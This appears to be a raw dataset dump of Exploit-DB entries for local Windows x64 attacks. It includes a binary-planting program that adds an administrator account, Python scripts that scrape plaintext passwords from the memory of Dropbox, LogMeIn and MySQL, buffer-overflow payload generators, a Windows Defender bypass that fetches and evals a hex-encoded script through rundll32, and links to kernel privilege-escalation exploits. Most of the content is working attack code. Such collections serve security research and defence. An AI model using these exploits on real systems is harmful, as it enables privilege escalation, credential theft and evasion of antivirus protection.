deardaniel/secdata-raw huggingface dataset:
Exploit-DB #39984
Description: ACROS Security 0patch 2016.05.19.539 - '0PatchServicex64.exe' Unquoted Service Path Privilege Escalation
Type: local
Platform: windows_x86-64
Date: 2016-06-20
Author: LiquidWorm

Exploit:

ACROS Security 0patch (0PatchServicex64.exe) Unquoted Service Path Privilege Escalation


Vendor: ACROS, d.o.o.
Product web page: https://www.0patch.com
Affected version: 2016.05.19.539

Summary: 0patch (pronounced 'zero patch') is a platform for instantly
distributing, applying and removing microscopic binary patches to/from
running processes without having to restart these processes (much less
reboot the entire computer).

Desc: The application suffers from an unquoted search path issue impacting
the service '0patchservice' for Windows deployed as part of 0patch solution.
This could potentially allow an authorized but non-privileged local user to
execute arbitrary code with elevated privileges on the system. A successful
attempt would require the local user to be able to insert their code in the
system root path undetected by the OS or other security applications where
it could potentially be executed during application startup or reboot. If
successful, the local user’s code would execute with the elevated privileges
of the application.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Microsoft Windows 7 Professional SP1 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5331
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5331.php

Vendor: https://0patch.blogspot.com/2016/06/new-release-0patch-agent[PII_REDACTED]0.html


08.06.2016

--


C:\>sc qc 0patchservice
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: 0patchservice
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\0patch\Agent\0PatchServicex64.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : 0patch Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\>cacls "C:\Program Files (x86)\0patch\Agent\0PatchServicex64.exe"
C:\Program Files (x86)\0patch\Agent\0patchServicex64.exe NT AUTHORITY\SYSTEM:(ID)F
                                                         BUILTIN\Administrators:(ID)F
                                                         BUILTIN\Users:(ID)R


C:\>
Exploit-DB #45339
Description: Cisco Umbrella Roaming Client 2.0.168 - Local Privilege Escalation
Type: local
Platform: windows_x86-64
Date: 2018-09-06
Author: ParagonSec

Exploit:
/*
# Exploit Title: Cisco Umbrella Roaming Client 2.0.168 - Privilege Escalation
# Date: 2018-04-06
# Exploit Author: paragonsec @ Critical Start
# Vendor Homepage: https://www.opendns.com/
# Version: Umbrella Roaming Client (2.0.168)
# Tested on: Windows 10 Professional
# CVE : CVE-2018-0437 & CVE-2018-0438
# Cisco Bug: CSCvj61300
# Advisory Links:
# https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180905-umbrella-priv
# https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180905-umbrella-file-read
# https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvj61300

OpenDNS Umbrella Roaming Client (2.0.168) Binary Planting Privilege Escalation Exploit

Details:
Compile the following code and rename it to either netsh.exe or cmd.exe
and place the file in the "C:\ProgramData\OpenDNS\ERC\" directory. Restart the machine!
 
Affected Binary paths:
C:\ProgramData\OpenDNS\ERC\cmd.exe
C:\ProgramData\OpenDNS\ERC\netsh.exe

More Details:
Create malicious MSI file named RoamingClient_WIN_2.0.168.msi and place in
"C:\ProgramData\OpenDNS\ERC\Upgrades\" and restart the machine.

Tools Used:
ìAdvanced Installer 14.8" - Used to create the MSI
 
Code:
*/
 
#include <stdlib.h>
#include <stdio.h>
 
int main()
{
    system("net user pwnage pwnage /add");
    system("net localgroup administrators pwnage /add");
	
    FILE * fp;
    int i;
    /* open the file for writing*/
    fp = fopen ("c:\\opendns_pwnage.txt","w");
 
    fprintf (fp, "OpenDNS has been Pwned... New user has been created as an admin!\nBrought to you by paragonsec @criticalstart");
 
    /* close the file*/  
    fclose (fp);
    return 0;
}
Exploit-DB #47685
Description: DOUBLEPULSAR (x64) - Hooking 'srv!SrvTransactionNotImplemented' in 'srv!SrvTransaction2DispatchTable'
Type: local
Platform: windows_x86-64
Date: 2019-11-03
Author: Mumbai

Exploit:
EDB Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47685.zip
Exploit-DB #40348
Description: Dropbox Desktop Client 9.4.49 (x64) - Local Credentials Disclosure
Type: local
Platform: windows_x86-64
Date: 2016-09-08
Author: Yakir Wizman

Exploit:
#####
# Dropbox Desktop Client v9.4.49 (64bit) Local Credentials Disclosure
# Tested on Windows Windows Server 2012 R2 64bit, English
# Vendor Homepage @ https://www.dropbox.com
# Date 06/09/2016
# Bug Discovery by:
#
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
# http://www.black-rose.ml
#
# Viktor Minin (https://www.linkedin.com/in/MininViktor)
# https://1-33-7.com/
#
# Alexander Korznikov (https://www.linkedin.com/in/nopernik)
# http://korznikov.com/
#
#####
# Dropbox Desktop Client v9.4.49 is vulnerable to local credentials disclosure, the supplied username and password are stored in a plaintext format in memory process.
# A potential attacker could reveal the supplied username and password in order to gain access to account.
#####
# Proof-Of-Concept Code:

import time
import urllib
from winappdbg import Debug, Process

username	= ''
password	= ''
found		= 0
filename 	= "Dropbox.exe"
process_pid = 0
memory_dump	= []

debug = Debug()
try:
	print "[~] Searching for pid by process name '%s'.." % (filename)
	time.sleep(1)
	debug.system.scan_processes()
	for (process, process_name) in debug.system.find_processes_by_filename(filename):
		process_pid = process.get_pid()
	if process_pid is not 0:
		print "[+] Found process with pid #%d" % (process_pid)
		time.sleep(1)
		print "[~] Trying to read memory for pid #%d" % (process_pid)
		
		process = Process(process_pid)
		for address in process.search_bytes('\x26\x70\x61\x73\x73\x77\x6F\x72\x64\x3D'):
			memory_dump.append(process.read(address,100))
		for i in range(len(memory_dump)):
			email_addr 	= memory_dump[i].split('email=')[1]
			tmp_[CREDENTIAL_REDACTED]_dump[i].split('password=')[1]
			username	= email_addr.split('\x00')[0]
			password	= tmp_passwd.split('&is_sso_link=')[0]
			if username != '' and password !='':
				found = 1
				print "[+] Credentials found!\r\n----------------------------------------"
				print "[+] Username: %s" % urllib.unquote_plus(username)
				print "[+] Password: %s" % password
		if found == 0:
			print "[-] Credentials not found! Make sure the client is connected."
	else:
		print "[-] No process found with name '%s'." % (filename)
	
	debug.loop()
finally:
    debug.stop()
Exploit-DB #45395
Description: InduSoft Web Studio 8.1 SP1 - 'Tag Name' Buffer Overflow (SEH)
Type: local
Platform: windows_x86-64
Date: 2018-09-13
Author: Luis Martínez

Exploit:
# Exploit Title: InduSoft Web Studio 8.1 SP1 - 'Tag Name' Buffer Overflow (SEH)
# Discovery by: Luis Martinez
# Discovery Date: 2018-09-11
# Vendor Homepage: http://www.indusoft.com/
# Software Link: http://www.indusoft.com/Products-Downloads
# Tested Version: 8.1 SP1
# Vulnerability Type: Local Buffer Overflow (SEH Unicode)
# Tested on OS: Windows 10 Pro x64 en
 
# Steps to Produce the Local Buffer Overflow (SEH Unicode): 
# 1.- Run python code: InduSoft_Web_Studio_8.1.py
# 2.- Open InduSoft_Web_Studio_8.1.txt and copy content to clipboard
# 3.- Open IWS v8.1 InduSoft Web Studio
# 4.- Home
# 5.- Paste ClipBoard on "Tag Name"
 
#!/usr/bin/env python

nSEH = "\x42\x42"
SEH = "\x43\x43"
 
buffer = "\x41" * 1042 + nSEH + SEH
f = open ("InduSoft_Web_Studio_8.1.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #45378
Description: InTouch Machine Edition 8.1 SP1 - 'Nombre del Tag' Buffer Overflow (SEH)
Type: local
Platform: windows_x86-64
Date: 2018-09-11
Author: Luis Martínez

Exploit:
# Exploit Title: InTouch Machine Edition 8.1 SP1 - 'Nombre del Tag' Buffer Overflow (SEH)
# Discovery by: Luis Martinez
# Discovery Date: 2018-09-10
# Vendor Homepage: https://on.wonderware.com/
# Software Link: https://on.wonderware.com/intouch-machine-edition
# Tested Version: 8.1 SP1
# Vulnerability Type: Local Buffer Overflow (SEH Unicode)
# Tested on OS: Windows 10 Pro x64 en
 
# Steps to Produce the Local Buffer Overflow (SEH Unicode): 
# 1.- Run python code: InTouch_Machine_Edition_8.1.py
# 2.- Open InTouch_Machine_Edition_8.1.txt and copy content to clipboard
# 3.- Open ITME v8.1 InTouch Machine Edition
# 4.- Inicio
# 5.- Paste ClipBoard on "Nombre del Tag"
 
#!/usr/bin/env python

nSEH = "\x42\x42"
SEH = "\x43\x43"
 
buffer = "\x41" * 1042 + nSEH + SEH
f = open ("InTouch_Machine_Edition_8.1.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #45166
Description: iSmartViewPro 1.5 - 'Account' Buffer Overflow
Type: local
Platform: windows_x86-64
Date: 2018-08-08
Author: Alan Joaquín Baeza Meza

Exploit:
# Exploit Title: iSmartViewPro 1.5 - 'Account' Buffer Overflow
# Discovery by: Alan Joaquín Baeza Meza
# Discovery Date: 2018-08-07
# Vendor Homepage: http://www.securimport.com/n/en/
# Software Link: https://securimport.com/university/index.php/videovigilancia-ip/software/493-software-ismartviewpro-v1-5
# Tested Version: 1.5
# Tested on OS  : Windows 10 Pro x64 es

# Steps to Produce the BoF: 
# 1.- Run python code : python generatepaste.py
# 2.- Open generate.txt and copy content to clipboard
# 3.- Open iSmartViewPro
# 4.- Add device manually
# 5.- Device alias -> A
# 6.- Device Type-> SmartP2P
# 7.- DDNS/IP/DID-> 0.0.0.0
# 8.- Paste ClipBoard on "Account"
# 9.- Password -> A
#10.- Aceptar
#11.- BoF

#!/usr/bin/env python
# -*- coding: utf-8 -*-
buffer = "\x41" * 479
eip= "\x42" * 4
f = open ("generate.txt", "w")
f.write(buffer+eip)
f.close()
Exploit-DB #45165
Description: iSmartViewPro 1.5 - 'Device Alias' Buffer Overflow
Type: local
Platform: windows_x86-64
Date: 2018-08-08
Author: Rodrigo Eduardo Rodriguez

Exploit:
# Exploit Title: iSmartViewPro 1.5 - 'Device Alias' Buffer Overflow
# Author: Rodrigo Eduardo Rodriguez
# Discovery Date: 2018-08-07
# Vendor Homepage: https://securimport.com/
# Software Link: https://securimport.com/university/videovigilancia-ip/software/493-software-ismartviewpro-v1-5
# Tested Version: 1.5
# Vulnerability Type: Buffer Overflow Local
# Tested on OS: Windows 10 Pro x64 es
 
# Steps to Produce the BoF: 
# 1.- Run python code : python generatepaste.py
# 2.- Open generate.txt and copy content to clipboard
# 3.- Open iSmartViewPro
# 4.- clic button "+"
# 5.- Select "add device manually"
# 6.- paste ClipBoard on "Device Alias"
# 7.- DNS/IP/DID -> "0.0.0.0"
# 8.- acount -> "admin"
# 9.- password -> "admin"
# 10.- Save
# 11.- BoF
 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
buffer = "\x41" * 415
eip = "\x42" * 4
f = open ("generate.txt", "w")
f.write(buffer + eip)
f.close()
Exploit-DB #45176
Description: iSmartViewPro 1.5 - 'Password' Buffer Overflow
Type: local
Platform: windows_x86-64
Date: 2018-08-10
Author: Javier Enrique Rodriguez Gutierrez

Exploit:
# Exploit Title: iSmartViewPro 1.5  - 'Password' Buffer Overflow
# Discovery by: Javier Enrique Rodriguez Gutierrez
# Discovery Date: 2018-08-09
# Vendor Homepage: https://securimport.com/
# Software Link: https://securimport.com/university/videovigilancia-ip/software/493-software-ismartviewpro-v1-5
# Tested Version: 1.5
# Vulnerability Type: Buffer Over Flow Local
# Tested on OS: Windows 7 Professional x64 es
  
# Steps to Produce the BoF: 
# 1.- Run python code : python generate.py
# 2.- Open generate.txt and copy content to clipboard
# 3.- Open iSmartViewPro
# 4.- clic button "+"
# 5.- Select "add device manually"
# 6.- device alias -> "admin"
# 7.- DNS/IP/DID -> "0.0.0.0"
# 8.- acount -> "admin"
# 9.- paste ClipBoard on "Password"
# 10.- Save
# 11.- BoF
 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
buffer = "\x41" * 447
eip = "\x42" * 4
f = open ("generate.txt", "w")
f.write(buffer + eip)
f.close()
Exploit-DB #40349
Description: LogMeIn Client 1.3.2462 (x64) - Local Credentials Disclosure
Type: local
Platform: windows_x86-64
Date: 2016-09-08
Author: Yakir Wizman

Exploit:
#####
# LogMeIn Client v1.3.2462 (64bit) Local Credentials Disclosure
# Tested on Windows Windows Server 2012 R2 64bit, English
# Vendor Homepage @ https://secure.logmein.com/home/en
# Date 06/09/2016
# Bug Discovery by:
#
# Alexander Korznikov (https://www.linkedin.com/in/nopernik)
# http://korznikov.com/
#
# Viktor Minin (https://www.linkedin.com/in/MininViktor)
# https://1-33-7.com/
#
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
# http://www.black-rose.ml
#
#####
# LogMeIn Client v1.3.2462 is vulnerable to local credentials disclosure, the supplied username and password are stored in a plaintext format in memory process.
# A potential attacker could reveal the supplied username and password in order to gain access to account and associated computers.
#####
# Proof-Of-Concept Code:

import time
import urllib
from winappdbg import Debug, Process

username	= ''
password	= ''
found		= 0
filename 	= "LMIIgnition.exe"
process_pid = 0
memory_dump	= []

debug = Debug()
try:
	print "[~] Searching for pid by process name '%s'.." % (filename)
	time.sleep(1)
	debug.system.scan_processes()
	for (process, process_name) in debug.system.find_processes_by_filename(filename):
		process_pid = process.get_pid()
	if process_pid is not 0:
		print "[+] Found process with pid #%d" % (process_pid)
		time.sleep(1)
		print "[~] Trying to read memory for pid #%d" % (process_pid)
		
		process = Process(process_pid)
		for address in process.search_bytes('\x26\x5F\x5F\x56\x49\x45\x57\x53\x54\x41\x54\x45\x3D'):
			memory_dump.append(process.read(address,150))
		for i in range(len(memory_dump[0])):
			email_addr 	= memory_dump[i].split('email=')[1]
			tmp_[CREDENTIAL_REDACTED]_dump[i].split('password=')[1]
			username	= email_addr.split('&hiddenEmail=')[0]
			password	= tmp_passwd.split('&rememberMe=')[0]
			if username != '' and password !='':
				found = 1
				print "[+] Credentials found!\r\n----------------------------------------"
				print "[+] Username: %s" % urllib.unquote_plus(username)
				print "[+] Password: %s" % password
				break
		if found == 0:
			print "[-] Credentials not found! Make sure the client is connected."
	else:
		print "[-] No process found with name '%s'." % (filename)
	
	debug.loop()
finally:
    debug.stop()
Exploit-DB #42960
Description: Microsoft Windows 10 RS2 (x64) - 'win32kfull!bFill' Pool Overflow
Type: local
Platform: windows_x86-64
Date: 2017-10-06
Author: siberas

Exploit:
Sources:
https://siberas.de/blog/2017/10/05/exploitation_case_study_wild_pool_overflow_CVE-2016-3309_reloaded.html
https://github.com/siberas/CVE-2016-3309_Reloaded

Exploits for the recently-patched win32kfull!bFill vulnerability. Executing the Palette or Bitmap exploit will give you SYSTEM privileges on the affected system. The exploits should work fine on Windows 10 x64 with Creators Update, build 15063.540 (latest version of Win10 before the release of Microsoft's September Updates).

The Visual Studio solution contains three exploits:

CVE-2016-3309_Reloaded_Bitmaps: Exploit using the Bitmaps technique
CVE-2016-3309_Reloaded_Palettes: Exploit using the Palettes technique
CVE-2016-3309_Reloaded_Deadlock: POC exploit showcasing the system deadlock which happens due to improved Handle validation

We also published a blog post (https://siberas.de/blog/2017/10/05/exploitation_case_study_wild_pool_overflow_CVE-2016-3309_reloaded.html) which goes into detail about the exploitation of this "wild" Pool-based overflow.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42960.zip
Exploit-DB #42435
Description: Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098) (2)
Type: local
Platform: windows_x86-64
Date: 2017-08-08
Author: SensePost

Exploit:
Sources:
- https://github.com/sensepost/gdi-palettes-exp
- https://sensepost.com/blog/2017/abusing-gdi-objects-for-ring0-primitives-revolution/

Windows 7 SP1 x86 exploit presented at DEF CON 25 involving the abuse of a newly discovered GDI object abuse technique. 

DC25 5A1F - Demystifying Windows Kernel Exploitation by Abusing GDI Objects 

- https://www.defcon.org/html/defcon-25/dc-25-speakers.html#El-Sherei 
- https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/5A1F/


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42435.zip
Exploit-DB #39035
Description: Microsoft Windows 8.1 - 'win32k' Local Privilege Escalation (MS15-010)
Type: local
Platform: windows_x86-64
Date: 2015-12-18
Author: Jean-Jamil Khalife

Exploit:
# Exploit Title: MS15-010/CVE-2015-0057 win32k Local Privilege Escalation
# Date: 2015-12-17
# Exploit Author: Jean-Jamil Khalife
# Software Link: http://www.microsoft.com
# Version: Windows 8.1 (x64)
# Tested on: Windows 8.1 (x64)
# CVE : CVE-2015-0057


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39035.zip
Exploit-DB #51801
Description: Microsoft Windows Defender Bypass - Detection Mitigation Bypass
Type: local
Platform: windows_x86-64
Date: 2024-02-19
Author: hyp3rlinx

Exploit:
[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  https://hyp3rlinx.altervista.org/advisories/Windows_Defender_Backdoor_JS.Relvelshe.A_Detection_Mitigation_Bypass.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec     
 


[Vendor]
www.microsoft.com


[Product]
Windows Defender


[Vulnerability Type]
Detection Mitigation Bypass 
Backdoor:JS/Relvelshe.A


[CVE Reference]
N/A


[Security Issue]
Back in 2022 I released a PoC to bypass the Backdoor:JS/Relvelshe.A detection in defender but it no longer works as was mitigated.
However, adding a simple javascript try catch error statement and eval the hex string it executes as of the time of this post.


[References]
https://twitter.com/hyp3rlinx/status/[PII_REDACTED]47091968


[Exploit/POC]
1) python -m http.server 80

2) Open command prompt as Administrator

3) rundll32  javascript:"\\..\\..\\mshtml\\..\\..\\mshtml,RunHTMLApplication ,RunHTMLApplication ";document.write();GetObject("script"+":"+"http://localhost/yo.tmp")

Create file and host on server, this is contents of the "yo.tmp" file.

<?xml version="1.0"?>
<component>
<script>
try{
<![CDATA[
var hex = "6E[PII_REDACTED][PII_REDACTED]4F626A[PII_REDACTED][PII_REDACTED]70742E5368656C6C22292E52756E282263616C632E[PII_REDACTED]";
var str = '';
for (var n = 0; n < hex.length; n += 2) {
str += String.fromCharCode(parseInt(hex.substr(n, 2), 16));
}
eval(str)
]]>
}catch(e){
eval(str)
}
</script>
</component>


[Network Access]
Local



[Severity]
High


[Disclosure Timeline]
Vendor Notification:  
February 18, 2024: Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
Exploit-DB #20861
Description: Microsoft Windows Kernel - Intel x64 SYSRET (MS12-042)
Type: local
Platform: windows_x86-64
Date: 2012-08-27
Author: Shahriyar Jalayeri

Exploit:
Source: http://packetstormsecurity.org/files/115908/sysret.rar

This is proof of concept code that demonstrates the Microsoft Windows kernel (Intel/x64) SYSRET vulnerability as described in MS12-042. The shellcode disables code signing and will grant NT SYSTEM privileges to a specified application or already running process.

Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20861.rar
Exploit-DB #40337
Description: MySQL 5.5.45 (x64) - Local Credentials Disclosure
Type: local
Platform: windows_x86-64
Date: 2016-09-05
Author: Yakir Wizman

Exploit:
#####
# MySQL 5.5.45 (64bit) Local Credentials Disclosure
# Tested on Windows Windows Server 2012 R2 64bit, English
# Vendor Homepage @ https://www.mysql.com
# Date 05/09/2016
# Bug Discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
#
# http://www.black-rose.ml
#
# Special Thanks & Greetings to friend of mine Viktor Minin (https://www.exploit-db.com/author/?a=8052) | (https://1-33-7.com/)
#####
# MySQL v5.5.45 is vulnerable to local credentials disclosure, the supplied username and password are stored in a plaintext format in memory process.
# A potential attacker could reveal the supplied username and password in order to gain access to the database.
# Proof-Of-Concept Code:
#####

import time
from winappdbg import Debug, Process

def b2h(str):
    return ''.join(["%02X " % ord(x) for x in str]).strip()

def h2b(str):
	bytes = []
	str = ''.join(str.split(" "))

	for i in range(0, len(str), 2):
		bytes.append(chr(int(str[i:i+2], 16)))

	return ''.join(bytes)

usr 		= ''
pwd 		= ''
count 		= 0
filename 	= "mysql.exe"
process_pid = 0
memory_dump	= []
passwd 		= []

debug = Debug()
try:
	print "[~] Searching for pid by process name '%s'.." % (filename)
	time.sleep(1)
	debug.system.scan_processes()
	for (process, process_name) in debug.system.find_processes_by_filename(filename):
		process_pid = process.get_pid()
	if process_pid is not 0:
		print "[+] Found process pid #%d" % (process_pid)
		time.sleep(1)
		print "[~] Trying to read memory for pid #%d" % (process_pid)
		
		process = Process(process_pid)
		for address in process.search_bytes('\x00\x6D\x79\x73\x71\x6C\x00\x2D\x75\x00'):
			memory_dump.append(process.read(address,30))
		for i in range(len(memory_dump)):
			str = b2h(memory_dump[i])
			first = str.split("00 6D 79 73 71 6C 00 2D 75 00 ")[1]
			last = first.split(" 00 2D 70")
			if last[0]:
				usr = h2b(last[0])
		
		memory_dump = []
		for address in process.search_bytes('\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'):
			memory_dump.append(process.read(address,100))
		sorted(set(memory_dump))
		for i in range(len(memory_dump)):
			str = b2h(memory_dump[i])
			string = str.split('00 8F')
			for x in range(len(string)):
				if x == 1:
					[CREDENTIAL_REDACTED]
		try:
			pwd = h2b(passwd[1].split('00 00')[0])
		except:
			pass
		
		print "[~] Trying to extract credentials from memory.."
		time.sleep(1)
		if usr != '' and pwd != '':
			print "[+] Credentials found!\r\n----------------------------------------"
			print "[+] Username: %s" % usr
			print "[+] Password: %s" % pwd
		else:
			print "[-] Credentials not found!"
	else:
		print "[-] No process found with name '%s'" % (filename)
	
	debug.loop()
finally:
    debug.stop()